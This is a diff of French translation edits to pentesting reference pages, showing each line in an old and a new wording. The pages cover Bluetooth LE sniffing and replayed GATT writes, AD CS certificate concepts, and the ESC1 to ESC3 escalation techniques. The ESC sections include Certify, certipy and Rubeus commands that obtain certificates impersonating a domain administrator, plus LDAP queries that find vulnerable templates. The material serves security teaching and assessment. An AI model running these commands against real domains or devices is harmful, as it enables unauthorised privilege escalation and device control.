Cela met en évidence ATT Write Commands provenant du client ; le handle et la value correspondent souvent directement à des actions sur l'appareil (p. ex., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
|
||||
|
||||
Exemples rapides de Sniffle CLI :
|
||||
```bash
|
||||
@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Sniffer alternatif : Nordic’s nRF Sniffer for BLE + Wireshark plugin fonctionne aussi. Sur les petits dongles Nordic bon marché, on écrase généralement le USB bootloader pour charger le sniffer firmware, donc soit vous conservez un dongle sniffer dédié, soit vous avez besoin d'un J-Link/JTAG pour restaurer le bootloader ensuite.
|
||||
Alternative sniffer : Nordic’s nRF Sniffer for BLE + Wireshark plugin fonctionne aussi. Sur les dongles Nordic petits/bon marché, on écrase généralement le USB bootloader pour charger le sniffer firmware, donc il faut soit garder un dongle sniffer dédié, soit utiliser un J-Link/JTAG pour restaurer le bootloader ensuite.
|
||||
|
||||
### Contrôle actif via GATT
|
||||
|
||||
Une fois que vous avez identifié un writable characteristic handle et la valeur depuis le sniffed traffic, connectez-vous en tant que central et effectuez le même write :
|
||||
Une fois que vous avez identifié un handle de caractéristique écrivable et sa valeur à partir du trafic capturé, connectez-vous en tant que central et effectuez la même écriture :
|
||||
|
||||
- Avec Nordic nRF Connect for Desktop (BLE app) :
|
||||
- Sélectionnez le dongle nRF52/nRF52840, scannez et connectez-vous à la cible.
|
||||
- Parcourez la GATT database, localisez la target characteristic (souvent a un friendly name, p.ex., Alert Level).
|
||||
- Effectuez un Write avec les sniffed bytes (p.ex., 01 pour déclencher, 00 pour arrêter).
|
||||
- Sélectionnez le dongle nRF52/nRF52840, lancez le scan et connectez-vous à la cible.
|
||||
- Parcourez la base de données GATT, localisez la caractéristique cible (elle porte souvent un nom convivial, p.ex. Alert Level).
|
||||
- Effectuez un Write avec les bytes capturés (p.ex. 01 pour déclencher, 00 pour arrêter).
|
||||
|
||||
- Automatisez sur Windows avec un dongle Nordic en utilisant Python + blatann :
|
||||
- Automatisez sous Windows avec un dongle Nordic en utilisant Python + blatann:
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
@ -171,9 +171,9 @@ ble_device.close()
|
||||
```
|
||||
### Notes opérationnelles et mesures d'atténuation
|
||||
|
||||
- Privilégiez Sonoff+Sniffle sous Linux pour un saut de canaux robuste et le suivi des connexions. Gardez un sniffer Nordic de secours.
|
||||
- Sans pairing/bonding, un attaquant à proximité peut observer les écritures et rejouer/forger les siennes vers des characteristics écrites non authentifiées.
|
||||
- Mesures d'atténuation : exiger pairing/bonding et appliquer le chiffrement ; définir les permissions des characteristics pour exiger des écritures authentifiées ; minimiser les characteristics écrites non authentifiées ; valider les GATT ACLs avec Sniffle/nRF Connect.
|
||||
- Préférez Sonoff+Sniffle sous Linux pour un channel hopping robuste et le suivi des connexions. Gardez un Nordic sniffer de rechange.
|
||||
- Sans pairing/bonding, tout attaquant à proximité peut observer les writes et replay/craft les siens vers des unauthenticated writable characteristics.
|
||||
- Mesures d'atténuation : exiger pairing/bonding et appliquer le chiffrement ; définir les permissions des characteristics pour exiger des authenticated writes ; minimiser les unauthenticated writable characteristics ; valider les GATT ACLs avec Sniffle/nRF Connect.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -6,77 +6,77 @@
|
||||
|
||||
### Components of a Certificate
|
||||
|
||||
- Le **Subject** du certificat désigne son propriétaire.
|
||||
- Une **Public Key** est appairée à une clé privée détenue pour lier le certificat à son propriétaire légitime.
|
||||
- La **Validity Period**, définie par les dates **NotBefore** et **NotAfter**, marque la durée de validité effective du certificat.
|
||||
- Le **Subject** du certificat indique son propriétaire.
|
||||
- Une **Public Key** est appariée à une clé privée détenue pour lier le certificat à son propriétaire légitime.
|
||||
- La **Validity Period**, définie par les dates **NotBefore** et **NotAfter**, marque la durée de validité du certificat.
|
||||
- Un **Serial Number** unique, fourni par l'Certificate Authority (CA), identifie chaque certificat.
|
||||
- L'**Issuer** fait référence à la CA qui a émis le certificat.
|
||||
- **SubjectAlternativeName** permet des noms supplémentaires pour le subject, améliorant la flexibilité d'identification.
|
||||
- Les **Basic Constraints** indiquent si le certificat est destiné à une CA ou à une entité finale et définissent les restrictions d'utilisation.
|
||||
- Les **Extended Key Usages (EKUs)** délimitent les usages spécifiques du certificat, comme le code signing ou le chiffrement d'email, via des Object Identifiers (OIDs).
|
||||
- L'**Signature Algorithm** spécifie la méthode de signature du certificat.
|
||||
- **SubjectAlternativeName** permet des noms supplémentaires pour le sujet, améliorant la flexibilité d'identification.
|
||||
- **Basic Constraints** indiquent si le certificat est pour une CA ou une entité finale et définissent les restrictions d'utilisation.
|
||||
- **Extended Key Usages (EKUs)** délimitent les usages spécifiques du certificat, comme le code signing ou le chiffrement d'e-mail, via des Object Identifiers (OIDs).
|
||||
- Le **Signature Algorithm** spécifie la méthode de signature du certificat.
|
||||
- La **Signature**, créée avec la clé privée de l'issuer, garantit l'authenticité du certificat.
|
||||
|
||||
### Special Considerations
|
||||
|
||||
- Les **Subject Alternative Names (SANs)** étendent l'applicabilité d'un certificat à plusieurs identités, crucial pour les serveurs ayant plusieurs domaines. Des processus d'émission sécurisés sont essentiels pour éviter les risques d'usurpation par des attaquants manipulant la spécification SAN.
|
||||
- Les **Subject Alternative Names (SANs)** élargissent l'applicabilité d'un certificat à plusieurs identités, crucial pour les serveurs gérant plusieurs domaines. Des processus d'émission sécurisés sont essentiels pour éviter les risques d'usurpation par des attaquants manipulant la spécification SAN.
|
||||
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
|
||||
AD CS reconnaît les certificats de CA dans une forêt AD via des conteneurs désignés, chacun ayant des rôles uniques :
|
||||
AD CS reconnaît les certificats CA dans une forêt AD via des conteneurs désignés, chacun jouant un rôle spécifique :
|
||||
|
||||
- Le conteneur **Certification Authorities** contient les certificats des root CA de confiance.
|
||||
- Le conteneur **Enrolment Services** détaille les Enterprise CAs et leurs certificate templates.
|
||||
- Le conteneur **Certification Authorities** contient les certificats de CA racine de confiance.
|
||||
- Le conteneur **Enrolment Services** détaille les CA d'entreprise et leurs certificate templates.
|
||||
- L'objet **NTAuthCertificates** inclut les certificats CA autorisés pour l'authentification AD.
|
||||
- Le conteneur **AIA (Authority Information Access)** facilite la validation de la chaîne de certificats avec les certificats intermédiaires et les cross CA.
|
||||
- Le conteneur **AIA (Authority Information Access)** facilite la validation de la chaîne de certificats avec les certificats intermediates et cross CA.
|
||||
|
||||
### Certificate Acquisition: Client Certificate Request Flow
|
||||
|
||||
1. Le processus de demande commence par la découverte d'une Enterprise CA par les clients.
|
||||
2. Un CSR est créé, contenant une public key et d'autres détails, après la génération d'une paire de clés publique-privée.
|
||||
3. La CA évalue le CSR par rapport aux certificate templates disponibles, émettant le certificat selon les permissions du template.
|
||||
1. Le processus de demande commence par la recherche par les clients d'une CA d'entreprise.
|
||||
2. Un CSR est créé, contenant une public key et d'autres détails, après la génération d'une paire clé publique/privée.
|
||||
3. La CA évalue le CSR par rapport aux certificate templates disponibles, émettant le certificat en fonction des permissions du template.
|
||||
4. Après approbation, la CA signe le certificat avec sa clé privée et le retourne au client.
|
||||
|
||||
### Certificate Templates
|
||||
|
||||
Définis au sein d'AD, ces templates décrivent les paramètres et permissions pour l'émission de certificats, incluant les EKUs permis et les droits d'enrôlement ou de modification, critiques pour la gestion de l'accès aux services de certificat.
|
||||
Définis au sein d'AD, ces templates décrivent les paramètres et permissions pour l'émission des certificats, y compris les EKUs permis et les droits d'enrollment ou de modification, essentiels pour gérer l'accès aux services de certificats.
|
||||
|
||||
## Certificate Enrollment
|
||||
|
||||
Le processus d'enrôlement pour les certificats est initié par un administrateur qui **create a certificate template**, lequel est ensuite **published** par une Enterprise Certificate Authority (CA). Cela rend le template disponible pour l'enrôlement des clients, une étape réalisée en ajoutant le nom du template au champ `certificatetemplates` d'un objet Active Directory.
|
||||
Le processus d'enrollment des certificats est initié par un administrateur qui **crée un certificate template**, lequel est ensuite **publié** par une Enterprise Certificate Authority (CA). Cela rend le template disponible pour l'enrollment des clients, une étape réalisée en ajoutant le nom du template au champ `certificatetemplates` d'un objet Active Directory.
|
||||
|
||||
Pour qu'un client puisse demander un certificat, des **enrollment rights** doivent être accordés. Ces droits sont définis par les security descriptors sur le certificate template et sur l'Enterprise CA elle-même. Des permissions doivent être accordées aux deux emplacements pour qu'une demande réussisse.
|
||||
Pour qu'un client puisse demander un certificat, des **enrollment rights** doivent être accordés. Ces droits sont définis par des descripteurs de sécurité sur le certificate template et sur la Enterprise CA elle-même. Les permissions doivent être accordées dans les deux emplacements pour qu'une demande réussisse.
|
||||
|
||||
### Template Enrollment Rights
|
||||
|
||||
Ces droits sont spécifiés via des Access Control Entries (ACEs), détaillant des permissions telles que :
|
||||
Ces droits sont spécifiés via des Access Control Entries (ACEs), détaillant des permissions comme :
|
||||
|
||||
- Les droits **Certificate-Enrollment** et **Certificate-AutoEnrollment**, chacun associé à des GUIDs spécifiques.
|
||||
- **ExtendedRights**, permettant toutes les permissions étendues.
|
||||
- **FullControl/GenericAll**, fournissant le contrôle complet sur le template.
|
||||
- **Certificate-Enrollment** et **Certificate-AutoEnrollment**, chacune associée à des GUID spécifiques.
|
||||
- **ExtendedRights**, autorisant toutes les permissions étendues.
|
||||
- **FullControl/GenericAll**, fournissant un contrôle complet sur le template.
|
||||
|
||||
### Enterprise CA Enrollment Rights
|
||||
|
||||
Les droits de la CA sont définis dans son security descriptor, accessible via la console de gestion Certificate Authority. Certains paramètres permettent même à des utilisateurs à faibles privilèges un accès distant, ce qui peut représenter un risque de sécurité.
|
||||
Les droits de la CA sont décrits dans son descripteur de sécurité, accessible via la console de gestion Certificate Authority. Certains paramètres permettent même à des utilisateurs faiblement privilégiés un accès distant, ce qui peut constituer un risque de sécurité.
|
||||
|
||||
### Additional Issuance Controls
|
||||
|
||||
Certains contrôles peuvent s'appliquer, tels que :
|
||||
Certains contrôles supplémentaires peuvent s'appliquer, tels que :
|
||||
|
||||
- **Manager Approval** : place les demandes en état pending jusqu'à approbation par un certificate manager.
|
||||
- **Manager Approval** : place les demandes en attente jusqu'à approbation par un certificate manager.
|
||||
- **Enrolment Agents and Authorized Signatures** : spécifient le nombre de signatures requises sur un CSR et les Application Policy OIDs nécessaires.
|
||||
|
||||
### Methods to Request Certificates
|
||||
|
||||
Les certificats peuvent être demandés via :
|
||||
|
||||
1. Le **Windows Client Certificate Enrollment Protocol** (MS-WCCE), utilisant des interfaces DCOM.
|
||||
2. Le **ICertPassage Remote Protocol** (MS-ICPR), via des named pipes ou TCP/IP.
|
||||
3. L'**interface web d'enrôlement de certificats**, avec le rôle Certificate Authority Web Enrollment installé.
|
||||
4. Le **Certificate Enrollment Service** (CES), en conjonction avec le service Certificate Enrollment Policy (CEP).
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), utilisant des interfaces DCOM.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), via des named pipes ou TCP/IP.
|
||||
3. L'interface web d'enrollment de certificats, avec le rôle Certificate Authority Web Enrollment installé.
|
||||
4. Le **Certificate Enrollment Service** (CES), conjointement avec le service Certificate Enrollment Policy (CEP).
|
||||
5. Le **Network Device Enrollment Service** (NDES) pour les dispositifs réseau, utilisant le Simple Certificate Enrollment Protocol (SCEP).
|
||||
|
||||
Les utilisateurs Windows peuvent aussi demander des certificats via l'GUI (`certmgr.msc` ou `certlm.msc`) ou les outils en ligne de commande (`certreq.exe` ou la commande PowerShell `Get-Certificate`).
|
||||
Les utilisateurs Windows peuvent aussi demander des certificats via l'interface graphique (`certmgr.msc` ou `certlm.msc`) ou des outils en ligne de commande (`certreq.exe` ou PowerShell's `Get-Certificate`).
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
@ -87,21 +87,21 @@ Active Directory (AD) prend en charge l'authentification par certificat, utilisa
|
||||
|
||||
### Processus d'authentification Kerberos
|
||||
|
||||
Dans le processus d'authentification Kerberos, la demande d'un utilisateur pour un Ticket Granting Ticket (TGT) est signée à l'aide de la **clé privée** du certificat de l'utilisateur. Cette demande subit plusieurs validations par le contrôleur de domaine, incluant la **validité**, le **chemin de certification** et le **statut de révocation** du certificat. Les validations incluent également la vérification que le certificat provient d'une source de confiance et la confirmation de la présence de l'émetteur dans le **magasin de certificats NTAUTH**. Les validations réussies entraînent l'émission d'un TGT. L'objet **`NTAuthCertificates`** dans AD, situé à :
|
||||
Dans le processus d'authentification Kerberos, la requête d'un utilisateur pour un Ticket Granting Ticket (TGT) est signée à l'aide de la **clé privée** du certificat de l'utilisateur. Cette requête subit plusieurs validations par le contrôleur de domaine, notamment la **validité**, la **chaîne de certification** et le **statut de révocation** du certificat. Les validations comprennent également la vérification que le certificat provient d'une source de confiance et la confirmation de la présence de l'émetteur dans le **magasin de certificats NTAUTH**. Les validations réussies entraînent l'émission d'un TGT. L'objet **`NTAuthCertificates`** dans AD, situé à :
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
est central pour établir la confiance dans l'authentification par certificat.
|
||||
|
||||
### Secure Channel (Schannel) Authentication
|
||||
### Authentification Secure Channel (Schannel)
|
||||
|
||||
Schannel facilite les connexions TLS/SSL sécurisées, où lors d'une négociation (handshake), le client présente un certificat qui, s'il est validé avec succès, autorise l'accès. L'association d'un certificat à un compte AD peut impliquer la fonction **S4U2Self** de Kerberos ou le **Subject Alternative Name (SAN)** du certificat, parmi d'autres méthodes.
|
||||
Schannel facilite des connexions TLS/SSL sécurisées, où, lors d'un handshake, le client présente un certificat qui, s'il est validé avec succès, autorise l'accès. L'appariement d'un certificat à un compte AD peut impliquer la fonction **S4U2Self** de Kerberos ou le **Subject Alternative Name (SAN)** du certificat, parmi d'autres méthodes.
|
||||
|
||||
### AD Certificate Services Enumeration
|
||||
### Énumération des services de certificats AD
|
||||
|
||||
Les services de certificats d'AD peuvent être énumérés via des requêtes LDAP, révélant des informations sur les **Enterprise Certificate Authorities (CAs)** et leurs configurations. Cela est accessible à tout utilisateur authentifié sur le domaine sans privilèges particuliers. Des outils comme **[Certify](https://github.com/GhostPack/Certify)** et **[Certipy](https://github.com/ly4k/Certipy)** sont utilisés pour l'énumération et l'évaluation des vulnérabilités dans les environnements AD CS.
|
||||
Les services de certificats d'AD peuvent être énumérés via des requêtes LDAP, révélant des informations sur les **autorités de certification d'entreprise (CAs)** et leurs configurations. Ceci est accessible par tout utilisateur authentifié sur le domaine sans privilèges spéciaux. Des outils comme **[Certify](https://github.com/GhostPack/Certify)** et **[Certipy](https://github.com/ly4k/Certipy)** sont utilisés pour l'énumération et l'évaluation des vulnérabilités dans les environnements AD CS.
|
||||
|
||||
Les commandes pour utiliser ces outils incluent:
|
||||
Les commandes pour utiliser ces outils incluent :
|
||||
```bash
|
||||
# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
|
||||
# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Ceci est un résumé des sections sur les techniques d'escalade des posts :**
|
||||
**Ceci est un résumé des sections de techniques d'escalade des posts :**
|
||||
|
||||
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
@ -15,21 +15,21 @@
|
||||
|
||||
### Modèles de certificats mal configurés - ESC1 expliqué
|
||||
|
||||
- **Des droits d'enrôlement sont accordés à des utilisateurs peu privilégiés par l'Enterprise CA.**
|
||||
- **Les droits d'enrôlement sont accordés aux utilisateurs peu privilégiés par la CA d'entreprise.**
|
||||
- **L'approbation d'un manager n'est pas requise.**
|
||||
- **Aucune signature d'un personnel autorisé n'est nécessaire.**
|
||||
- **Les descripteurs de sécurité des modèles de certificats sont trop permissifs, permettant aux utilisateurs à faibles privilèges d'obtenir des droits d'enrôlement.**
|
||||
- **Aucune signature de personnel autorisé n'est nécessaire.**
|
||||
- **Les descripteurs de sécurité des modèles de certificats sont trop permissifs, permettant aux utilisateurs peu privilégiés d'obtenir des droits d'enrôlement.**
|
||||
- **Les modèles de certificats sont configurés pour définir des EKU qui facilitent l'authentification :**
|
||||
- Les identifiants Extended Key Usage (EKU) tels que Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ou aucun EKU (SubCA) sont inclus.
|
||||
- **Le modèle permet aux demandeurs d'inclure un subjectAltName dans la Certificate Signing Request (CSR) :**
|
||||
- Active Directory (AD) priorise le subjectAltName (SAN) d'un certificat pour la vérification d'identité si celui-ci est présent. Cela signifie qu'en spécifiant le SAN dans une CSR, un certificat peut être demandé pour usurper n'importe quel utilisateur (par ex. un administrateur de domaine). La possibilité pour un demandeur de spécifier un SAN est indiquée dans l'objet AD du modèle de certificat via la propriété `mspki-certificate-name-flag`. Cette propriété est un bitmask, et la présence du flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet au demandeur de spécifier le SAN.
|
||||
- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
|
||||
- **La possibilité pour les demandeurs d'inclure un subjectAltName dans le Certificate Signing Request (CSR) est autorisée par le modèle :**
|
||||
- Active Directory (AD) priorise le subjectAltName (SAN) dans un certificat pour la vérification d'identité s'il est présent. Cela signifie qu'en spécifiant le SAN dans un CSR, un certificat peut être demandé pour usurper n'importe quel utilisateur (par ex., un administrateur de domaine). La possibilité de spécifier un SAN par le demandeur est indiquée dans l'objet AD du modèle de certificat via la propriété `mspki-certificate-name-flag`. Cette propriété est un bitmask, et la présence du flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet la spécification du SAN par le demandeur.
|
||||
|
||||
> [!CAUTION]
|
||||
> La configuration décrite permet à des utilisateurs peu privilégiés de demander des certificats avec n'importe quel SAN de leur choix, autorisant l'authentification en tant que n'importe quel principal de domaine via Kerberos ou SChannel.
|
||||
> La configuration décrite permet aux utilisateurs peu privilégiés de demander des certificats avec n'importe quel SAN, autorisant l'authentification en tant que n'importe quel principal du domaine via Kerberos ou SChannel.
|
||||
|
||||
Cette fonctionnalité est parfois activée pour supporter la génération à la volée de certificats HTTPS ou de host par des produits ou services de déploiement, ou par manque de compréhension.
|
||||
Cette fonctionnalité est parfois activée pour permettre la génération à la volée de certificats HTTPS ou de certificats de serveurs par des produits ou des services de déploiement, ou par manque de compréhension.
|
||||
|
||||
Il est à noter que la création d'un certificat avec cette option déclenche un avertissement, ce qui n'est pas le cas lorsqu'un modèle de certificat existant (comme le modèle `WebServer`, qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé) est dupliqué puis modifié pour inclure un OID d'authentification.
|
||||
Il est à noter que la création d'un certificat avec cette option génère un avertissement, ce qui n'est pas le cas lorsqu'un modèle de certificat existant (comme le modèle `WebServer`, qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé) est dupliqué puis modifié pour inclure un OID d'authentification.
|
||||
|
||||
### Abus
|
||||
|
||||
@ -38,7 +38,7 @@ Pour **trouver les modèles de certificats vulnérables** vous pouvez exécuter
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Pour **abuser de cette vulnérabilité afin d'usurper l'identité d'un administrateur**, on pourrait exécuter :
|
||||
Pour **abuser de cette vulnérabilité afin de se faire passer pour un administrateur**, on pourrait exécuter :
|
||||
```bash
|
||||
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
|
||||
@ -54,14 +54,14 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
|
||||
-template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Ensuite, vous pouvez convertir le **certificat généré au format `.pfx`** et l'utiliser pour **vous authentifier avec Rubeus ou certipy** de nouveau :
|
||||
Vous pouvez ensuite convertir le **certificat généré au format `.pfx`** et l'utiliser pour **vous authentifier avec Rubeus ou certipy** à nouveau :
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Les binaires Windows "Certreq.exe" et "Certutil.exe" peuvent être utilisés pour générer le PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
L'énumération des modèles de certificats dans le schéma de configuration de la forêt AD, en particulier ceux ne nécessitant pas d'approbation ni de signatures, disposant d'un EKU Client Authentication ou Smart Card Logon, et avec le drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé, peut être effectuée en exécutant la requête LDAP suivante :
|
||||
L'énumération des modèles de certificats dans le schéma de configuration de la forêt AD, en particulier ceux qui ne nécessitent pas d'approbation ou de signatures, possédant une EKU Client Authentication ou Smart Card Logon, et avec le drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé, peut être effectuée en exécutant la requête LDAP suivante :
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
@ -69,19 +69,17 @@ L'énumération des modèles de certificats dans le schéma de configuration de
|
||||
|
||||
### Explication
|
||||
|
||||
Le deuxième scénario d'abus est une variante du premier :
|
||||
|
||||
1. Les droits d'enrôlement sont accordés aux utilisateurs peu privilégiés par la CA d'entreprise.
|
||||
2. L'exigence d'approbation par un manager est désactivée.
|
||||
1. Les droits d'enrôlement sont accordés à des utilisateurs à faibles privilèges par l'Enterprise CA.
|
||||
2. L'exigence d'une approbation par un manager est désactivée.
|
||||
3. La nécessité de signatures autorisées est omise.
|
||||
4. Un descripteur de sécurité trop permissif sur le modèle de certificat accorde les droits d'enrôlement de certificats à des utilisateurs peu privilégiés.
|
||||
4. Un descripteur de sécurité excessivement permissif sur le modèle de certificat accorde les droits d'enrôlement de certificats à des utilisateurs à faibles privilèges.
|
||||
5. **Le modèle de certificat est défini pour inclure le Any Purpose EKU ou aucun EKU.**
|
||||
|
||||
Le **Any Purpose EKU** permet à un attaquant d'obtenir un certificat pour **n'importe quel usage**, y compris l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique utilisée pour ESC3** peut être employée pour exploiter ce scénario.
|
||||
|
||||
Les certificats sans **EKUs**, qui agissent comme des certificats de CA subordonnée, peuvent être exploités pour **n'importe quel usage** et peuvent **également être utilisés pour signer de nouveaux certificats**. Ainsi, un attaquant pourrait spécifier des EKUs arbitraires ou des champs dans les nouveaux certificats en utilisant un certificat de CA subordonnée.
|
||||
|
||||
Cependant, les nouveaux certificats créés pour **authentification de domaine** ne fonctionneront pas si la CA subordonnée n'est pas approuvée par l'objet **`NTAuthCertificates`**, ce qui est le paramètre par défaut. Néanmoins, un attaquant peut toujours créer des **nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires. Ceux-ci pourraient être potentiellement **abusés** pour un large éventail d'usages (par ex., signature de code, authentification serveur, etc.) et pourraient avoir des conséquences significatives pour d'autres applications du réseau comme SAML, AD FS, ou IPSec.
|
||||
Toutefois, les nouveaux certificats créés pour **l'authentification de domaine** ne fonctionneront pas si la CA subordonnée n'est pas approuvée par l'objet **`NTAuthCertificates`**, ce qui est le paramètre par défaut. Néanmoins, un attaquant peut toujours créer des **nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires. Ceux-ci pourraient être potentiellement **abusés** pour une grande variété d'usages (par ex. signature de code, authentification serveur, etc.) et pourraient avoir des conséquences importantes pour d'autres applications du réseau comme SAML, AD FS ou IPSec.
|
||||
|
||||
Pour énumérer les modèles correspondant à ce scénario dans le schéma de configuration de la forêt AD, la requête LDAP suivante peut être exécutée :
|
||||
```
|
||||
@ -91,26 +89,26 @@ Pour énumérer les modèles correspondant à ce scénario dans le schéma de co
|
||||
|
||||
### Explication
|
||||
|
||||
Ce scénario est similaire au premier et au deuxième mais **abusant** d'un **EKU différent** (Certificate Request Agent) et de **2 modèles différents** (il a donc 2 séries d'exigences),
|
||||
Ce scénario ressemble au premier et au deuxième mais **en abusant** d'un **EKU différent** (Certificate Request Agent) et de **2 modèles différents** (il y a donc 2 ensembles d'exigences),
|
||||
|
||||
L'**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), connu comme **Enrollment Agent** dans la documentation Microsoft, permet à un principal de **demander** un **certificat** **au nom d'un autre utilisateur**.
|
||||
Le **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom **Enrollment Agent** dans la documentation Microsoft, permet à un principal de **obtenir** un **certificat** **au nom d'un autre utilisateur**.
|
||||
|
||||
Le **“enrollment agent”** s'inscrit dans un tel **template** et utilise le certificat obtenu pour **co-signer une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la **CSR co-signée** à la CA, en s'enregistrant dans un **template** qui **permet l'« enroll on behalf of »**, et la CA répond avec un **certificat appartenant à l'« autre » utilisateur**.
|
||||
L'**« enrollment agent »** s'enregistre dans un tel **modèle** et utilise le **certificat résultant pour cosigner une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la **CSR cosignée** à la CA, s'enregistrant dans un **modèle** qui **permet « d'enregistrer au nom de »**, et la CA renvoie un **certificat appartenant à l'« autre » utilisateur**.
|
||||
|
||||
**Exigences 1 :**
|
||||
**Exigences 1:**
|
||||
|
||||
- Les droits d'enrôlement sont accordés à des utilisateurs faiblement privilégiés par l'Enterprise CA.
|
||||
- L'exigence d'approbation du manager est omise.
|
||||
- Les droits d'enrôlement sont accordés à des utilisateurs à faibles privilèges par la CA d'entreprise.
|
||||
- L'exigence d'approbation du responsable est omise.
|
||||
- Aucune exigence de signatures autorisées.
|
||||
- Le descripteur de sécurité du template de certificat est excessivement permissif, accordant des droits d'enrôlement à des utilisateurs faiblement privilégiés.
|
||||
- Le template de certificat inclut le Certificate Request Agent EKU, permettant la demande d'autres templates de certificat au nom d'autres principals.
|
||||
- Le descripteur de sécurité du modèle de certificat est excessivement permissif, accordant des droits d'enrôlement à des utilisateurs à faibles privilèges.
|
||||
- Le modèle de certificat inclut le Certificate Request Agent EKU, permettant la demande d'autres modèles de certificats au nom d'autres principaux.
|
||||
|
||||
**Exigences 2 :**
|
||||
**Exigences 2:**
|
||||
|
||||
- L'Enterprise CA accorde des droits d'enrôlement à des utilisateurs faiblement privilégiés.
|
||||
- L'approbation du manager est contournée.
|
||||
- La version de schéma du template est soit 1 soit supérieure à 2, et il spécifie une Application Policy Issuance Requirement qui nécessite le Certificate Request Agent EKU.
|
||||
- Un EKU défini dans le template de certificat permet l'authentification de domaine.
|
||||
- La CA d'entreprise accorde des droits d'enrôlement à des utilisateurs à faibles privilèges.
|
||||
- L'approbation du responsable est contournée.
|
||||
- La version du schéma du modèle est soit 1 soit supérieure à 2, et il spécifie une Application Policy Issuance Requirement qui nécessite le Certificate Request Agent EKU.
|
||||
- Un EKU défini dans le modèle de certificat permet l'authentification de domaine.
|
||||
- Les restrictions pour les enrollment agents ne sont pas appliquées sur la CA.
|
||||
|
||||
### Abus
|
||||
@ -129,42 +127,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Les **utilisateurs** autorisés à **obtenir** un **certificat d'agent d'enrôlement**, les modèles dans lesquels les **agents d'enrôlement** sont autorisés à s'enregistrer, et les **comptes** au nom desquels l'agent d'enrôlement peut agir peuvent être restreints par les CAs d'entreprise. Cela se fait en ouvrant le `certsrc.msc` **snap-in**, en **cliquant droit sur la CA**, en **cliquant sur Properties**, puis en **naviguant** vers l'onglet “Enrollment Agents”.
|
||||
